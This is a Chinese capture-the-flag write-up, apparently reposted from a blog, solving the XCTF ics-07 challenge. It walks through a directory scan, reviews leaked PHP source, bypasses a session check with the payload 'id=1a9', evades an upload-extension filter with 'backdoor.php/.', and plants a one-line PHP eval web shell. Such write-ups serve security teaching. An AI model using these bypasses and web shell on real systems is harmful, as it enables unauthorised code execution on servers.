码迷,mamicode.com
首页 > 其他好文 > 详细

【XCTF 4th-CyberEarth】ics-07

时间:2020-07-12 20:37:25      阅读:94      评论:0      收藏:0      [点我收藏+]

标签:earth   中心   字符   序列   payload   eth   htm   sub   loaded   

信息:

题目来源:XCTF 4th-CyberEarth

标签:PHP源码泄露SSRF反序列化SQL

题目描述:工控云管理系统项目管理页面解析漏洞

解题过程

进入网站后,首先进行目录扫描:

[TIME] 			=> 2020-07-08 15:34:39.931717
[TARGET] 			=> http://220.249.52.133:54884/
[NUMBER_OF_THRED] 	=> 10
[KEY_WORDS] 		=> [‘flag‘, ‘ctf‘, ‘admin‘]

[302] => index.php
[200] => flag.php
[200] => config.php
[200] => /config.php
[200] => index.html

得到以上文件信息,发现名为项目管理中心的页面:

技术图片

发现网页源代码(第一部分):

<?php
session_start();

if (!isset($_GET[page])) {
    show_source(__FILE__);
    die();
}

if (isset($_GET[page]) && $_GET[page] != ‘index.php‘) {
	include(‘flag.php‘);
}else {
	header(‘Location: ?page=flag.php‘);
}
?>

本部分代码无需特殊处理。

第二部分:

<?php
if ($_SESSION[‘admin‘]) {
    $con = $_POST[‘con‘];
    $file = $_POST[‘file‘];
    $filename = "backup/".$file;

    if(preg_match(‘/.+\.ph(p[3457]?|t|tml)$/i‘, $filename)){
        die("Bad file extension");
    }else{
        chdir(‘uploaded‘);
        $f = fopen($filename, ‘w‘);
        fwrite($f, $con);
        fclose($f);
    }
}
?>

这部分代码首先需要满足$_SESSION[‘admin‘] == True才行。

当满足上述条件时,可以使用post上传文件,要求文件后缀名不能为:php、php3、php4、php5、php7、pht、phtml。

第三部分:

<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== ‘1‘ && substr($_GET[id], -1) === ‘9‘) {
	include ‘config.php‘;
    $id = mysql_real_escape_string($_GET[id]);
    $sql="select * from cetc007.user where id=‘$id‘";
    $result = mysql_query($sql);
    $result = mysql_fetch_object($result);
} else {
    $result = False;
    die();
}

if(!$result)die("<br >something wae wrong ! <br>");
if($result){
    echo "id: ".$result->id."</br>";
    echo "name:".$result->user."</br>";
    $_SESSION[‘admin‘] = True;
}
?>

这部分代码需要满足:

  1. 存在id ≠ (int)1
  2. id的最后一位 = 9

满足这两个条件时:$_SESSION[‘admin‘] = True;

构造payload:http://ip/index.php?page=flag.php&id=1a9

技术图片

这时,可以使用post方式上传文件,file为文件名,con为文件内容。

正则的话是判断.之后的字符,因此我们可以利用/.的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的。

file=backdoor.php/.&con=<?php @eval($_POST[‘123‘]);?>

使用菜刀类工具连接,得到flag

【XCTF 4th-CyberEarth】ics-07

标签:earth   中心   字符   序列   payload   eth   htm   sub   loaded   

原文地址:https://www.cnblogs.com/chalan630/p/13289543.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!